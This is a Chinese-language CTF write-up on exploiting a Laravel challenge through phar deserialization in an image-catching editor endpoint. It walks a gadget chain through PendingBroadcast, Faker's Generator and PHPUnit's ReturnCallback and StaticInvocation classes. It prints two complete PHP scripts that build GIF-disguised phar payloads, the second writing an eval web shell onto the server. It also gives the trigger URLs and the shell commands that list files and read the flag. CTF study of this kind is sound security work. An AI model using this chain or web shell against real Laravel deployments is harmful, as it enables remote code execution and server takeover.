题目分析
php的laravel框架的审计题目。这里记录一下复现过程。整体思路是venenof7师傅的。
先来看入口,不知道他们怎么就找到了这个请求……
/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/
我在黑盒测试的时候只找到了action,完全没有source的影子,个人感觉是结合白盒测试出来的。这里对应的源代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| protected function doCatchimage(Request $request){ $sources = $request->input($this->config['catcherFieldName']); $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); } } return response()->json([ 'state' => 'SUCCESS', 'list' => $rets ]); }
$maxSize = $this->config['catcherMaxSize']; $limitExtension = array_map(function ($ext) { return ltrim($ext, '.'); }, $this->config['catcherAllowFiles']); $allowTypes = array_map(function ($ext) { return "image/{$ext}"; }, $limitExtension);
$content = file_get_contents($url); url为图片路径 $img = getimagesizefromstring($content); 省略下面的不重要代码……
|
这里可以看到使用了file_get_contents
进行文件操作,同样是使用blackhat议题上的phar在文件操作时会执行反序列化操作。这里只需要寻找有__destruct
和__wakeup
的类。
这里全局搜索__destruct
,可以找到一个class PendingBroadcast
,其他的都不太能使用,要不是destruct里面没东西,就是destruct里面执行方法的对象不可控。而这个唯一一个执行方法的对象可控的,可以将执行方法的对象换成没有该方法的对象,这样就会调用__call
方法。
1 2 3
| public function __destruct(){ $this->events->dispatch($this->event); }
|
搜索__call
得到Generator
这个类中有这个方法,并且其中的__call
能调用format
而这个又会调用call_user_func_array
,这里就可以执行代码了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| public function format($formatter, $arguments = array()){ return call_user_func_array($this->getFormatter($formatter), $arguments); }
public function __call($method, $attributes){ return $this->format($method, $attributes); }
public function getFormatter($formatter){ if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
|
这个一开始构造的是只能执行单个函数,通过在formatters中的数组存储函数名,最后被调用,只是现在还没办法代入参数。来看看venenof7师傅的payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event){ $this->event = $event; $this->events = $events; } } }
namespace Faker{ class Generator{ protected $formatters; public function __construct($forma){ $this->formatters = $forma; } } }
namespace{ $obj_1 = array("dispatch"=>"phpinfo"); $obj_2 = new Faker\Generator($obj_1); $obj = new Illuminate\Broadcasting\PendingBroadcast($obj_2, 1); $p = new Phar('./1.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($obj); $p->addFromString('1.txt', 'text'); $p->stopBuffering(); rename('./1.phar', '1.gif'); } ?>
|
这里传入数组是因为getFormatter
函数会取formatters数组中的对应方法名的值。
这里生成1.gif需要先把phar的只读改成可以写才行。具体操作把选项改成off,并且去除注释phar.readonly = Off
然而,重命名无法成功执行……死活不行。。。手动修改ing,上传服务器,抓包拿到图片路径。
访问http://51.158.73.123:8080/server/editor?action=catchimage&source[]=phar:///var/www/html/upload/image/65628379e91fb1adb860f98cd9f49712/201901/23/bed4111d42fb35cfdcff.gif
成功执行
我们知道了服务器的php版本是很新的7.2.12,还有一些相关的php信息。
为了解决参数问题,必须要引入其他的类,之前的$this->event
只能引用一个参数。
还是venenof7师傅的方法,如果本身参数不能为数组的话,那就找其他实例的方法,然后在其他实例的方法中再次构造可以控制的执行函数并且参数也能控制。
这里找到的是ReturnCallback
和StaticInvocation
。
1 2 3 4 5 6 7 8 9 10 11
| class ReturnCallback
public function invoke(Invocation $invocation){ return \call_user_func_array($this->callback, $invocation->getParameters()); }
class StaticInvocation implements Invocation, SelfDescribing
public function getParameters(): array{ return $this->parameters; }
|
这样我们就有可控的函数和可控的参数。
整个过程再走一遍,建议大家可以把整个过程用纸画一下,全用脑子有点难。首先,$this->events
赋值成Generator
实例这样就会调用__call
执行第一个call_user_func_array
。其次,在第一个函数执行中调用invoke
方法,里面的callback设置成file_put_contents
,之后invoke的参数为StaticInvocation
的实例,实例中的有数组的参数当做invoke调用的第二个函数执行中的参数。最后就变成了任意代码执行。给一下payload。
题目payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php namespace Illuminate\Broadcasting{ class PendingBroadcast{ protected $events; protected $event; public function __construct($events, $event){ $this->event = $event; $this->events = $events; } } } namespace Faker{ class Generator{ protected $formatters; public function __construct($forma){ $this->formatters = $forma; } } } namespace PHPUnit\Framework\MockObject\Invocation{ class StaticInvocation{ private $parameters; function __construct($parameters){ $this->parameters = $parameters; } } } namespace PHPUnit\Framework\MockObject\Stub{ class ReturnCallback{ private $callback; function __construct($callback){ $this->callback = $callback; } } } namespace { $obj_para = array('/var/www/html/upload/image/618.php', '<?php @eval($_GET[618]);?>'); $obj_1 = new PHPUnit\Framework\MockObject\Invocation\StaticInvocation($obj_para); $obj_2 = new PHPUnit\Framework\MockObject\Stub\ReturnCallback('file_put_contents'); $obj_3 = array('dispatch'=>array($obj_2, 'invoke')); $obj_4 = new Faker\Generator($obj_3); $obj = new Illuminate\Broadcasting\PendingBroadcast($obj_4, $obj_1); $p = new Phar('2.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($obj); $p->addFromString('2.txt', 'text'); $p->stopBuffering(); rename('2.phar', '2.gif'); }
?>
|
同样上传之后执行一下上面类似的语句就触发执行生成webshell,然后就拿flag。
http://51.158.73.123:8080/upload/image/618.php?618=var_dump(glob(%27/var/www/*%27));
http://51.158.73.123:8080/upload/image/618.php?618=var_dump(file_get_contents(%27/var/www/flag_larave1_b0ne%27));
Reference
http://www.venenof.com/live_CTF%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B.pdf